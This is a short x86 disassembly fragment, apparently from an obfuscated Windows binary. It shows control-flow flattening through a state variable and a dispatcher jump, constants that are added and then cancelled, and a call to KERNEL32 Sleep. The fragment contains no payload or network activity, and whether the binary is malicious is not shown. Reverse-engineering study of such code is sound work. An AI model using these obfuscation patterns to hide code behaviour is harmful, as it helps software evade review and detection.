mov dword [ebp - 0x1d4], 0x6543169c
jmp 0x4148a9
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x1a4]
mov ecx, dword [ecx]
sub eax, 0xeebc9472
add eax, ecx
add eax, 0xeebc9472
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax + 4]
add eax, 0xa1f0e418
sub eax, 8
sub eax, 0xa1f0e418
shr eax, 1
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1a4]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1d4], 0xa1be4626
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0xd377b7f0
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0x5137982e
jmp 0x4148a9
mov eax, dword [ebp - 0x170]
mov dword [eax], 0
mov dword [ebp - 0x1d4], 0xd7cd2c52
jmp 0x4148a9
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x1d4], 0x5aa8ed70
jmp 0x4148a9
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1d4], 0xae9ea2b1
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0xa431ecb
jmp 0x410318